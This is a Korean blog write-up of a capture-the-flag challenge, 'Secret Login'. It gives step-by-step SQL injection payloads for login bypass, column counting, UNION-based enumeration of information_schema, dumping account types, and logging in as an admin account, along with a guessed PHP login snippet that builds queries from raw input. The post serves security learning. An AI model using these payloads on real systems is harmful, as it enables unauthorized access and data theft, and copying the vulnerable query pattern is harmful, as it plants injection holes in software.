Almon Dev

ctf 풀이 (Secret Login) 본문

모의해킹/모의해킹

ctf 풀이 (Secret Login)

Almon 2024. 11. 18. 17:32

ctf 문제풀이

 

Secret Login

 

풀이

1> doldol / dol1234 로그인해 보기

로그인 성공 시 302(리다이렉트) 반환 > index.php로 이동 -> 닉네임 표시

 

2> sql injection 확인

아이디와 비밀번호 입력창 모두 sql injection이 가능하고,

sql문이 아이디와 비밀번호를 한 번에 검증하는 것으로 추측됩니다.

UserId=doldol'#&Password=dol1234
=> id 입력이 sql injection이 가능한지 확인

UserId=doldol'#&Password=dol1234'#
=> 비밀번호 입력 sqli 가능 확인

UserId=doldol'#&Password=testdol1234
=> sql에서 비밀번호를 함께 검사하는지 확인
아이디 입력창에서 #으로 주석처리를 했는데 비밀번호가 주석처리가 됐다면 한 줄이라는 의미

 

3> sql 컬럼 개수 확인 (order by)

UserId=doldol'+order+by+2+desc# 를 통해 받아오는 컬럼의 개수가 6개인 것을 확인

 

4> 로그인 코드 예상

아이디와 비밀번호를 한 번에 검증하고 컬럼이 6개이자 한 줄인 sql문

$sql = "select nickname, password, email, phone, date, age from member 
where id='$input_id' and password= '$input_pass'";
$result = db->query($sql)->fetch_array();

if ($result) {
	// 로그인 성공
}else {
	// 로그인 실패
}

 

5> 관리자 계정 찾기

sql injection이 가능하니 관리자 계정을 찾기 위해서 우선 db의 정보를 알아내야 합니다.

db명, 테이블명, 컬럼명을 알아내봅니다.

 

6> db명 알아내기

6개의 컬럼 중 몇 번째가 화면에 표시되는지를 우선 확인합니다.

 

database() 함수를 이용해서 db의 이름을 받아 올 수 있습니다.

UserId='+union+select+'1',+'2',+database(),+'4',+'5',+'6'+order+by+6+desc#

 

7> 테이블명 알아내기

UserId='+union+select+'1',+'2',+table_name,+'4',+'5',+'6'+from+information_schema.tables+where+table_schema+%3d+'segFault_sqli'+order+by+6+desc#

information_schema db의 tables 테이블중에서 db명이 segFault_sqli인 테이블의 이름을 받아옵니다.

mysql은 메타데이터를 저장해두는 db인 INFORMATION_SCHEMA가 있습니다.
INFORMATION_SCHEMA는 테이블, 컬럼등의 정보를 담고 있습니다.

 

테이블이 여러개인데 하나만 출력됩니다.

출력된 모든값을 하나의 문자열로 보기 위해서, group_concat()을 이용해 줍니다.

UserId='+union+select+'1',+'2',+group_concat(table_name),+'4',+'5',+'6'+from+information_schema.tables+where+table_schema+%3d+'segFault_sqli'+order+by+6+desc#

 

8> 컬럼명 알아내기

UserId='+union+select+'1',+'2',+group_concat(column_name),+'4',+'5',+'6'+from+information_schema.columns+where+table_schema+%3d+'segFault_sqli'+and+table_name+%3d+'login2'+order+by+6+desc#

information_schema의 columns 테이블중에서

table_schema='segFault_sqli' and table_name='login2'인 값의 column_name을 가져옵니다.

 

정리
db명 : segFault_sqli
테이블명 : book_info,flag_table,login1,login2,user_info

user_info 컬럼명 : id,name,password,level,rank_point,rate
login1 컬럼명 : id,pass,name,phone,email,user_type
login2 컬럼명 : id,pass,name,phone,email,user_type

 

9> 관리자 계정 찾아내기

관리자 권한을 나타낼만한 컬럼은 user_type인것 같습니다.
login2의 id와 user_type을 묶어서 출력해봅니다.

UserId='+union+select+'1',+'2',+group_concat(concat(id,':',user_type)),+'4',+'5',+'6'+from+login2+order+by+6+desc#

concat은 문자열을 붙여주는 함수입니다.

login2
login1

관리자 계정으로 생각되는 아이디

login2 => super타입의 아이디인 hidden_account
login1 => 5ecret_acc0unt

 

10> 5ecret_acc0unt 로그인 하기

hidden_account는 로그인이 되지 않았습니다. => login1 테이블을 사용하는 중

UserId=5ecret_acc0unt'# 으로 로그인을 해줍니다.

 

로그인 php코드 예상

<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];

$server_name = "localhost"; 
$username = "root";       
$password = "";           
$db_name = "test";      

$conn = new mysqli($server_name, $username, $password, $db_name);

$sql = "select * from member where id='$input_id' and password='$_input_pass'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴

if ($result) {
    echo $result['name'];
} else {
    echo "fail";
}

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (Pin Code Crack)  (2) 2024.11.20
ctf 풀이 (admin is mine)  (1) 2024.11.19
ctf 풀이 (Login Bypass 4)  (0) 2024.11.18
ctf 풀이 (Login Bypass 3)  (0) 2024.11.16
모의해킹 공부 (5주차 정리)  (1) 2024.11.15